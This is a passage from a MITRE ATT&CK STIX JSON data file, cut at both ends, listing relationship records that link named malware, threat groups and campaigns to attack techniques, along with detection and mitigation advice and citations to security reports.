CIRCL PlugX March 2013)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cb25ac9-9eb9-47ee-b3f9-53c5a6365c46", "type": "relationship", "created": "2021-08-12T14:57:30.361Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sogeti CERT ESEC Babuk March 2021", "url": "https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf", "description": "Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "McAfee Babuk February 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "description": "Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "Medium Babuk February 2021", "url": "https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62", "description": "Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."}], "modified": "2021-10-04T13:25:58.135Z", "description": "Versions of [Babuk](https://attack.mitre.org/software/S0638) have been packed.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Medium Babuk February 2021)", "relationship_type": "uses", "source_ref": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cbb6696-8000-46b8-a35d-afb0a25865be", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GlobalDotName Jun 2019", "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"}, {"source_name": "MRWLabs Office Persistence Add-ins", "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"}]}, {"type": "relationship", "id": "relationship--4cbd1250-5e79-46c0-b38f-83bd5942f44c", "created": "2019-09-23T23:08:25.342Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.515Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) attempted to remove evidence of some of its activity by clearing Windows security and system events.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4cc0ca4c-3d7b-4fd8-b8ad-0a987da94d33", "created": "2022-09-29T20:29:15.454Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T20:29:15.454Z", "description": "(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f", "target_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4cc39e53-3498-4ecc-a316-603f3a47dbf6", "created": "2022-05-06T14:49:39.254Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Nviso Spoof Command Line 2020", "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."}, {"source_name": "Mandiant Endpoint Evading 2019", "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode", "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\n\nDetection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)", "modified": "2022-05-06T14:49:39.254Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247", "type": "relationship", "created": "2019-01-30T20:01:45.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2019-04-24T20:56:04.729Z", "description": "[Denis](https://attack.mitre.org/software/S0354) uses <code>ipconfig</code> to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cc78773-df9f-40d8-a2e5-eb2eadb05409", "type": "relationship", "created": "2020-03-26T15:53:25.148Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit"}, {"url": "http://msdn.microsoft.com/en-us/library/ms682425", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "source_name": "Microsoft CreateProcess"}, {"source_name": "Microsoft Dynamic-Link Library Security", "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."}, {"source_name": "Vulnerability and Exploit Detector", "url": "https://skanthak.homepage.t-online.de/sentinel.html", "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."}], "modified": "2022-03-09T18:44:33.796Z", "description": "Use auditing tools capable of detecting hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.\n\nFind and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4cc8afb8-86ab-4537-926f-3178975a7886", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "PWC Cloud Hopper Technical Annex April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:14:18.620Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4cd2bbbd-211a-4771-9e9d-a60356c04257", "created": "2023-09-26T20:30:02.230Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-26T20:30:02.230Z", "description": "[SharpDisco](https://attack.mitre.org/software/S1089) can create scheduled tasks to execute reverse shells that read and write data to and from specified SMB shares.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--1fefb062-feda-484a-8f10-0cebf65e20e3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4cd705fd-5192-4248-9627-4f6cf2d4c459", "created": "2019-08-26T15:27:13.043Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}, {"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has deleted the exfiltrated data on disk after transmission. [Kimsuky](https://attack.mitre.org/groups/G0094) has also used an instrumentor script to terminate browser processes running on an infected system and then delete the cookie files on disk.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:31:16.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4cdd118b-5ad8-4607-94b2-be828038b5ff", "type": "relationship", "created": "2020-03-13T20:21:54.889Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-19T03:29:47.916Z", "description": "Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ce1ed77-dc5d-42d8-838e-b927dc6d6afb", "type": "relationship", "created": "2019-06-28T17:40:32.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}], "modified": "2021-04-02T00:14:14.149Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396)'s dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.(Citation: Cyphort EvilBunny Dec 2014)\t", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talent-Jump Clambling February 2020", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021.", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/"}, {"source_name": "SecureWorks BRONZE UNION June 2017", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "url": "https://www.secureworks.com/research/bronze-union"}, {"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}, {"source_name": "Trend Micro DRBControl February 2020", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}, {"source_name": "Nccgroup Emissary Panda May 2018", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.081Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ceb5590-5539-424c-9859-1a35d62bbf04", "type": "relationship", "created": "2020-11-17T19:16:59.823Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Retrieved January 26, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.(Citation: Symantec Black Vine)", "modified": "2022-07-20T20:09:46.808Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d6a3a5b-58c2-4dab-8710-fe7e6b893f98", "type": "relationship", "created": "2019-01-30T16:39:54.436Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. 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Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2019-06-10T18:25:51.809Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d7080b8-a3e0-4122-b0c9-c1d9c2ba6890", "created": "2022-09-26T14:31:27.291Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T14:31:27.291Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) can connect to HTTP proxies via TCP to create a tunnel to C2.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d76c9e2-bef1-4b2c-8199-a9a454cf1168", "type": "relationship", "created": "2020-03-11T14:13:43.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", "source_name": "OWASP Top 10"}], "modified": "2020-07-14T22:22:06.474Z", "description": "Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)", "relationship_type": "mitigates", "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", "target_ref": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d7a9d82-1400-42bd-982a-3e0e4d9396fa", "type": "relationship", "created": "2020-01-31T19:01:42.172Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-31T19:01:42.172Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d7add6f-ebd5-477f-9958-a5176835da2e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-19T22:38:12.985Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d7e8d98-9894-4dfa-9013-af8d83e6faea", "type": "relationship", "created": "2019-01-29T18:44:04.939Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", "source_name": "Fortinet Agent Tesla April 2018"}, {"source_name": "Malwarebytes Agent Tesla April 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}], "modified": "2020-05-28T23:41:03.778Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has had its code obfuscated in an apparent attempt to make analysis difficult.(Citation: Fortinet Agent Tesla April 2018) [Agent Tesla](https://attack.mitre.org/software/S0331) has used the Rijndael symmetric encryption algorithm to encrypt strings.(Citation: Malwarebytes Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d7faa7b-2fd2-4c40-89c2-e8171055733c", "created": "2022-09-27T18:03:32.973Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T18:03:32.973Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors created services on remote systems for execution purposes.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}, {"url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html", "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", "source_name": "FireEye Clandestine Fox"}, {"url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf", "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", "source_name": "evolution of pirpi"}], "modified": "2019-04-29T18:01:20.478Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": 